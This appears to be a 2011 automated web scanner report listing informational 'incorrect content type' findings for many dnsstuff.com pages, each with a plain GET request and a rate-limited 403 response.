If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

10.1. http://www.dnsstuff.com/bc-research-analysis previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/bc-research-analysis

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /bc-research-analysis HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:40 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.2. http://www.dnsstuff.com/bc-track-authenticate previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/bc-track-authenticate

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /bc-track-authenticate HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.3. http://www.dnsstuff.com/company previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/company

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /company HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:43 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.4. http://www.dnsstuff.com/company/about-us previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/company/about-us

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /company/about-us HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:44 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.5. http://www.dnsstuff.com/company/careers previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/company/careers

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /company/careers HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:46 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.6. http://www.dnsstuff.com/company/connect previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/company/connect

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /company/connect HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:47 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.7. http://www.dnsstuff.com/company/press-page previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/company/press-page

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /company/press-page HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:49 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.8. http://www.dnsstuff.com/company/support previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/company/support

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /company/support HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:50 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.9. http://www.dnsstuff.com/docs/lookup/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/docs/lookup/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /docs/lookup/ HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.10. http://www.dnsstuff.com/docs/whois previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/docs/whois

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /docs/whois HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:53 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.11. http://www.dnsstuff.com/domaindoctor previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/domaindoctor

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /domaindoctor HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:54 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.12. http://www.dnsstuff.com/privacy-policy previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/privacy-policy

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /privacy-policy HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:56 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.13. http://www.dnsstuff.com/products previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.14. http://www.dnsstuff.com/products/alerts previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/alerts

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/alerts HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:57 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.15. http://www.dnsstuff.com/products/alerts/domaindoctor previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/alerts/domaindoctor

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/alerts/domaindoctor HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:08:59 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.16. http://www.dnsstuff.com/products/alerts/rblalert previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/alerts/rblalert

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/alerts/rblalert HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.17. http://www.dnsstuff.com/products/au previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/au

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/au HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:00 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.18. http://www.dnsstuff.com/products/dnsreport previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/dnsreport

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/dnsreport HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.19. http://www.dnsstuff.com/products/mstc previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/mstc

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/mstc HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:02 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.20. http://www.dnsstuff.com/products/overview previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/overview

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/overview HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:03 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.21. http://www.dnsstuff.com/products/protools previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/protools

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/protools HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.22. http://www.dnsstuff.com/products/resources previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/resources

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/resources HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.23. http://www.dnsstuff.com/products/resources/blog previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/resources/blog

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/resources/blog HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.24. http://www.dnsstuff.com/products/resources/news previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/resources/news

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/resources/news HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:06 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.25. http://www.dnsstuff.com/products/resources/resources previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/resources/resources

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/resources/resources HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:07 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.26. http://www.dnsstuff.com/products/resources/solution-briefs previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/products/resources/solution-briefs

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /products/resources/solution-briefs HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:09 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.27. http://www.dnsstuff.com/sitemap previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/sitemap

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /sitemap HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:11 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.28. http://www.dnsstuff.com/terms-of-use previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/terms-of-use

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /terms-of-use HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:12 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.29. http://www.dnsstuff.com/tools previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /tools HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.30. http://www.dnsstuff.com/tools/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /tools/ HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.31. http://www.dnsstuff.com/tools/aboutyou/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools/aboutyou/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /tools/aboutyou/ HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:13 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.32. http://www.dnsstuff.com/tools/tracert/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools/tracert/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /tools/tracert/ HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:19 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.33. http://www.dnsstuff.com/tools/whois/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/tools/whois/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /tools/whois/ HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:20 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

10.34. http://www.dnsstuff.com/trademarks previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.dnsstuff.com
Path:	/trademarks

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /trademarks HTTP/1.1
Host: www.dnsstuff.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Ratelimited
Date: Mon, 18 Jul 2011 02:09:21 GMT
Server: Apache/2.2.16 (Unix) DAV/2 mod_ssl/2.2.16 OpenSSL/0.9.8e
Vary: Accept-Encoding
Content-Length: 115
Connection: close
Content-Type: text/html; charset=utf-8

Your IP, 173.193.214.243, has been automatically rate limited for issuing too many requests in a given time period.

Report generated by XSS.CX at Wed Jul 20 07:12:20 CDT 2011.